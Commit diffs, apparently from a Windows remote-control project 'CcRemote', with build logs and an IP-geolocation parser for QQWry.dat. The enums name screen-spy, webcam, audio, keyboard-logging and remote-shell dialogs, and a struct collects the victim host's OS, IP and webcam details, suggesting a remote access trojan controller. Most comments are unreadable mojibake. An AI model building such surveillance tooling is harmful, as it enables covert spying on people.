WM_OPENMANAGERDIALOG, // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_OPENSCREENSPYDIALOG, // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
WM_OPENWEBCAMDIALOG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
WM_OPENAUDIODIALOG, // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_OPENKEYBOARDDIALOG, // <20>򿪼<EFBFBD><F2BFAABC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
WM_OPENPSLISTDIALOG, // <20>򿪽<EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
//////////////////////////////////////////////////////////////////////////
FILEMANAGER_DLG = 1,
SCREENSPY_DLG,
WEBCAM_DLG,
AUDIO_DLG,
KEYBOARD_DLG,
SYSTEM_DLG,
SHELL_DLG
};
typedef struct
{
BYTE bToken; // = 1
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
int CPUClockMhz; // CPU<50><55>Ƶ
IN_ADDR IPAddress; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char HostName[50]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bIsWebCam; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGININFO;

View File

@@ -1,11 +1,30 @@
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\bin\ccremote.ipdb
f:\myapp\ccremote\bin\ccremote.iobj
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog

View File

@@ -1,27 +1,41 @@
 pch.cpp
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(147): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(152): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(292): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(309): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SEU_QQwry.cpp
TrueColorToolBar.cpp
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
All 405 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 486 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Release\CcRemote.exe
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
Release|Win32|F:\myapp\CcRemote\CcRemote\|

View File

@@ -0,0 +1,436 @@
/*********************************************************************
* SEU_QQwry.cpp
*
* <20><><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>
*
* ˵<><CBB5>:<3A><><EFBFBD><EFBFBD>IP<49><50><EFBFBD>ݿ<EFBFBD> QQWry.dat<61>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>
*
* <20><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>.<2E><><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><D2B5>;
*********************************************************************/
#include "pch.h"
#include "SEU_QQwry.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
SEU_QQwry::SEU_QQwry()
{
}
SEU_QQwry::~SEU_QQwry()
{
CloseQQwry();
}
/*********************************************************************
* OpenQQwry(CString szFileName)
*
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49><50><EFBFBD>ݿ<EFBFBD><DDBF>ļ<EFBFBD><C4BC>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*
* ˵<><CBB5>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>QQWry.dat<61>ļ<EFBFBD>
*********************************************************************/
bool SEU_QQwry::OpenQQwry(CString szFileName)
{
if(!m_file.Open(szFileName,CFile::modeRead|CFile::typeBinary|CFile::shareDenyNone))
return false;
else
return true;
}
void SEU_QQwry::CloseQQwry()
{
if(m_bOpen)m_file.Close();
}
bool SEU_QQwry::GetBE()
{
if(!m_bOpen)return false;
m_file.Seek(0,CFile::begin);
if(m_file.Read(&m_be,sizeof(BE))>0)
return true;
else
return false;
}
/*********************************************************************
* GetStartIPInfo(int iIndex)
*
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ö<EFBFBD>IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>ε<EFBFBD><CEB5><EFBFBD>ʼIP
*
* ˵<><CBB5>:
*********************************************************************/
int SEU_QQwry::GetStartIPInfo(int iIndex)
{
BYTE buf[MAXBUF];
int ioff;
if(!m_bOpen) return 0;
ioff=m_be.uBOff+iIndex*7;
if(ioff>m_be.uEOff) return 0;
m_file.Seek(m_be.uBOff+iIndex*7,CFile::begin);
m_file.Read(&m_ipoff,sizeof(IPOFF));
ioff=(m_ipoff.off1+m_ipoff.off2*256+m_ipoff.off3*256*256);
m_file.Seek(ioff,CFile::begin);
m_file.Read(&m_ei,sizeof(EndInfo));
if(m_ei.buf[0]!=1 && m_ei.buf[0]!=2)
{
m_ei.bMode=1;//û<><C3BB><EFBFBD><EFBFBD>
for(int i=0;i<MAXBUF;i++)
{
if(m_ei.buf[i]==0)
{
if(m_ei.buf[i+1]==2)
{
m_ei.bMode=2;//Local <20><>
m_ei.offset1=m_ei.buf[i+2]+
m_ei.buf[i+3]*256+
m_ei.buf[i+4]*256*256;
}
break;
}
}
}
else if(m_ei.buf[0]==2)
{
m_ei.bMode=3;//Country <20><> local<61><6C><EFBFBD><EFBFBD>
m_ei.offset1=m_ei.buf[1]+m_ei.buf[2]*256+m_ei.buf[3]*256*256;
if(m_ei.buf[4]!=2)
{
m_ei.bMode=3;
}
else
{
m_ei.bMode=4;//Country<72><79> local<61><6C>
m_ei.offset2=m_ei.buf[5]+m_ei.buf[6]*256+m_ei.buf[7]*256*256;
}
}
else if(m_ei.buf[0]==1)
{
m_ei.offset1=m_ei.buf[1]+m_ei.buf[2]*256+m_ei.buf[3]*256*256;
m_file.Seek(m_ei.offset1,CFile::begin);
m_file.Read(buf,MAXBUF);
memcpy(m_ei.buf,buf,MAXBUF);
m_ei.bMode=0;
if(m_ei.buf[0]!=2)
{
for(int i=0;i<MAXBUF;i++)
{
if(m_ei.buf[i]==0)
{
if(m_ei.buf[i+1]!=2)
{
m_ei.bMode=5;//1 û<><C3BB><EFBFBD><EFBFBD>
}
else
{
m_ei.bMode=6;//1 Country<72><79><EFBFBD><EFBFBD> Local <20><>
m_ei.offset2=m_ei.buf[i+2]+
m_ei.buf[i+3]*256+
m_ei.buf[i+4]*256*256;
}
break;
}
}
}
else
{
if(m_ei.buf[4]!=2)
{
m_ei.bMode=7;// 1 Country<72><79> Local<61><6C><EFBFBD><EFBFBD>
m_ei.offset2=m_ei.buf[1]+
m_ei.buf[2]*256+
m_ei.buf[3]*256*256;
}
else
{
m_ei.bMode=8;// 1 Country<72><79> Local<61><6C>
m_ei.offset1=m_ei.buf[1]+
m_ei.buf[2]*256+
m_ei.buf[3]*256*256;
m_ei.offset2=m_ei.buf[5]+
m_ei.buf[6]*256+
m_ei.buf[7]*256*256;
}
}
}
return ioff;
}
int SEU_QQwry::GetRecordCount(void)//<2F>õ<EFBFBD><C3B5>ܵ<EFBFBD>IP<49><50>¼<EFBFBD><C2BC>
{
if(!m_bOpen) return 0;
if((m_be.uEOff-m_be.uBOff)<0) return 0;
return (m_be.uEOff-m_be.uBOff)/7+1;
}
CString SEU_QQwry::GetStr(int ioffset)//<2F><><EFBFBD><EFBFBD>λ<EFBFBD>ö<EFBFBD><C3B6><EFBFBD>Ϣ
{
if(ioffset>m_be.uEOff) return "";
BYTE ch;
CString buf="";
m_file.Seek(ioffset,CFile::begin);
int i=0;
while(1)
{
m_file.Read(&ch,1);
if(ch==0)
break;
buf+=ch;
i++;
if(i>50)break;
}
return buf;
}
/*********************************************************************
* GetCountryLocal(int index)
*
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ַ
*
* ˵<><CBB5>:
*********************************************************************/
CString SEU_QQwry::GetCountryLocal(int index)
{
if(index<0 || index>GetRecordCount()-1)
return "û<EFBFBD>в鵽<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ";
return GetCountryLocal(m_ei.bMode,GetStartIPInfo(index)+4);
}
CString SEU_QQwry::GetCountryLocal(BYTE bMode,int ioffset)
{
CString buf="";
if(bMode==1)//X û<><C3BB><EFBFBD><EFBFBD>
{
buf=GetStr(ioffset);
buf+=" ";
buf+=GetStr();
}
if(bMode==2)//X Country<72><79><EFBFBD><EFBFBD> Local <20><>
{
buf=GetStr(ioffset);
buf+=" ";
buf+=GetStr(m_ei.offset1);
}
if(bMode==3)//2 Country<72><79> local<61><6C><EFBFBD><EFBFBD>
{
buf=GetStr(m_ei.offset1);
buf+=" ";
buf+=GetStr(ioffset+4);
}
if(bMode==4)//2 Country<72><79> local<61><6C>
{
buf=GetStr(m_ei.offset1);
buf+=" ";
buf+=GetStr(m_ei.offset2);
}
if(bMode==5)//1 û<><C3BB><EFBFBD><EFBFBD>
{
buf=GetStr(m_ei.offset1);
buf+=" ";
buf+=GetStr();
}
if(bMode==6)//1 Country<72><79><EFBFBD><EFBFBD> Local <20><>
{
buf=GetStr(m_ei.offset1);
buf+=" ";
buf+=GetStr(m_ei.offset2);
}
if(bMode==7)//1 Country<72><79> Local <20><><EFBFBD><EFBFBD>
{
buf=GetStr(m_ei.offset2);
buf+=" ";
buf+=GetStr(m_ei.offset1+4);
}
if(bMode==8)//1 Country<72><79> Local<61><6C>
{
buf=GetStr(m_ei.offset1);
buf+=" ";
buf+=GetStr(m_ei.offset2);
}
return buf;
}
CString SEU_QQwry::GetStr()
{
BYTE ch;
CString buf="";
int i=0;
while(1)
{
m_file.Read(&ch,1);
if(ch==0)
break;
buf+=ch;
i++;
if(i>50)break;
}
return buf;
}
/*********************************************************************
* SaveToFile()
*
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>ļ<EFBFBD>
*
* ˵<><CBB5>:
*********************************************************************/
void SEU_QQwry::SaveToFile(CString Name)
{
CString str1,str2;
DWORD dwBytesWrite;
HANDLE hFile = INVALID_HANDLE_VALUE;
hFile = CreateFile(Name+".txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return;
int ioff;
m_buf.Format("Total %d\r\n",GetRecordCount());//<2F>õ<EFBFBD><C3B5>ܼ<EFBFBD>¼
WriteFile(hFile, m_buf.GetBuffer(0), m_buf.GetLength(), &dwBytesWrite, NULL);
for(m_i=0;m_i<GetRecordCount();m_i++)
{
ioff=GetStartIPInfo(m_i);//<2F>õ<EFBFBD><C3B5><EFBFBD>ʼ<EFBFBD><CABC>IP<49><50>Ϣ
str1.Format("%d.%d.%d.%d",m_ipoff.b3,m_ipoff.b2,m_ipoff.b1,m_ipoff.b0);//<2F><>ʼIP
str2.Format("%d.%d.%d.%d",m_ei.b3,m_ei.b2,m_ei.b1,m_ei.b0);//<2F><><EFBFBD><EFBFBD>IP
m_buf.Format("%-15s %-15s %s\r\n",
str1,str2,GetCountryLocal(m_ei.bMode,ioff+4));
WriteFile(hFile, m_buf.GetBuffer(0), m_buf.GetLength(), &dwBytesWrite, NULL);
}
CloseHandle(hFile);
}
/*********************************************************************
* IPtoAdd(CString szIP)
*
* <20><><EFBFBD><EFBFBD>IP<49>ҵ<EFBFBD><D2B5><EFBFBD>ַ
*
* ˵<><CBB5>:
*********************************************************************/
CString SEU_QQwry::IPtoAdd(CString szIP)
{
if(szIP=="")return "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD>ַ";
return GetCountryLocal(GetIndex(szIP));
}
/*********************************************************************
* GetIndex(CString szIP)
*
* <20><><EFBFBD><EFBFBD>IP<49>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD>
*
* ˵<><CBB5>:
*********************************************************************/
int SEU_QQwry::GetIndex(CString szIP)
{
int index=-1;
DWORD dwInputIP;
DWORD dwStartIP;
dwInputIP=IPtoDWORD(szIP);
//<2F><><EFBFBD>ð<EFBFBD><C3B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȿ<D9B6>һЩ
int iT;
int iB,iE;
iB=0;
iE=GetRecordCount()-1;
iT=iE/2;
while(iB<iE)
{
dwStartIP=GetSIP(iT);
if(dwInputIP==dwStartIP)
{
index =iT;
break;
}
if((iE-iB)<=1)
{
for(int i=iB;i<=iE;i++)
{
dwStartIP=GetSIP(i);
if(dwStartIP<=dwInputIP && dwInputIP<=m_dwLastIP)
{
index=i;
break;
}
}
break;
}
if(dwInputIP>dwStartIP)
{
iB=iT;
}
else
{
iE=iT;
}
iT=iB+(iE-iB)/2;
}
return index;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>DWORD<52><44><EFBFBD>͵<EFBFBD>IP,GetIndex(CString szIP)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>
DWORD SEU_QQwry::GetSIP(int index)
{
DWORD ip;
BYTE b[3];
int ioff;
if(!m_bOpen)return -1;
if(index>GetRecordCount()-1)return -1;
if(index<0)return -1;
ioff=m_be.uBOff+index*7;
m_file.Seek(ioff,CFile::begin);
m_file.Read(&ip,4);
m_file.Read(b,3);
ioff=b[0]+b[1]*256+b[2]*256*256;
m_file.Seek(ioff,CFile::begin);
m_file.Read(&m_dwLastIP,4);
return ip;
}
//תCStringΪDWORD,GetIndex(CString szIP)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>
DWORD SEU_QQwry::IPtoDWORD(CString szIP)
{
DWORD iIP;
BYTE b[4];
CString szTemp;
char ch;
int iLen;
int iXB;
szIP+=".";
memset(b,0,4);
iLen=szIP.GetLength();
iXB=0;
iIP=0;
for(int i=0;i<iLen;i++)
{
ch=szIP.GetAt(i);
szTemp+=ch;
if(ch=='.')
{
b[iXB]=atoi(szTemp);
szTemp="";
iXB++;
}
}
iIP=b[0]*256*256*256+b[1]*256*256+b[2]*256+b[3];
return iIP;
}
/*************************************************************/
void SEU_QQwry::SetPath(CString path)
{
m_bOpen=OpenQQwry(path);
GetBE();
}

View File

@@ -0,0 +1,82 @@
/*********************************************************************
* SEU_QQwry.h
*
* <20><><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>
*
* ˵<><CBB5>:<3A><><EFBFBD><EFBFBD>IP<49><50><EFBFBD>ݿ<EFBFBD> QQWry.dat<61>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>
*
* <20><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>.<2E><><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><D2B5>;
*********************************************************************/
#include "pch.h"
#if !defined(AFX_SEU_QQWRY_H)
#define AFX_SEU_QQWRY_H
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAXBUF 50
typedef struct _tagEndInfo
{
BYTE b0;
BYTE b1;
BYTE b2;
BYTE b3;
BYTE buf[MAXBUF];
BYTE bMode;
int offset1;
int offset2;
}EndInfo,PEndInfo;
typedef struct _tagIPOFF
{
BYTE b0;
BYTE b1;
BYTE b2;
BYTE b3;
BYTE off1;
BYTE off2;
BYTE off3;
}IPOFF,*PIPOFF;
typedef struct _tagBE
{
int uBOff;
int uEOff;
}BE,*PBE;
class SEU_QQwry
{
public://<2F><>ͨ<EFBFBD>û<EFBFBD><C3BB>ӿں<D3BF><DABA><EFBFBD>
void SetPath(CString path);//<2F><><EFBFBD><EFBFBD>QQWry.dat<61><74>·<EFBFBD><C2B7>
CString IPtoAdd(CString szIP);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP,<2C><><EFBFBD><EFBFBD>IP<49><50>Ӧ<EFBFBD>ĵ<EFBFBD>ַ
void SaveToFile(CString Name);//<2F><>QQWry.dat<61>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
public://<2F>߼<EFBFBD><DFBC>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DWORD m_dwLastIP;
CString GetCountryLocal(int index);
DWORD GetSIP(int index);
DWORD IPtoDWORD(CString szIP);
int GetIndex(CString szIP);
CString GetStr(void);
CString GetCountryLocal(BYTE bMode,int ioffset);
CString GetStr(int ioffset);
int GetRecordCount(void);
int m_i;
int GetStartIPInfo(int iIndex);
CString m_buf;
bool GetBE(void);
bool OpenQQwry(CString szFileName);//<2F><><EFBFBD><EFBFBD>QQwry<72><79><EFBFBD>ݿ<EFBFBD>
void CloseQQwry(void);//<2F>ر<EFBFBD>QQwry<72><79><EFBFBD>ݿ<EFBFBD>
BE m_be;
IPOFF m_ipoff;
EndInfo m_ei;
SEU_QQwry();
virtual ~SEU_QQwry();
private:
bool m_bOpen;
CFile m_file;
};
#endif // !defined(AFX_SEU_QQWRY_H)

View File

@@ -43,7 +43,6 @@ CRITICAL_SECTION CIOCPServer::m_cs;
//
////////////////////////////////////////////////////////////////////////////////
//lang2.1_4
CIOCPServer::CIOCPServer() //<2F>򵥷<EFBFBD><F2B5A5B7><EFBFBD>CIOCPServer<65><72> <20>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
TRACE("CIOCPServer=%p\n",this);

View File

@@ -23,10 +23,10 @@
////////////////////////////////////////////////////////////////////
#define NC_CLIENT_CONNECT 0x0001
#define NC_CLIENT_DISCONNECT 0x0002
#define NC_TRANSMIT 0x0003
#define NC_RECEIVE 0x0004
#define NC_CLIENT_CONNECT 0x0001 //<2F>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_CLIENT_DISCONNECT 0x0002 //<2F>ͻ<EFBFBD><CDBB>˶Ͽ<CBB6><CFBF><EFBFBD><EFBFBD><EFBFBD>
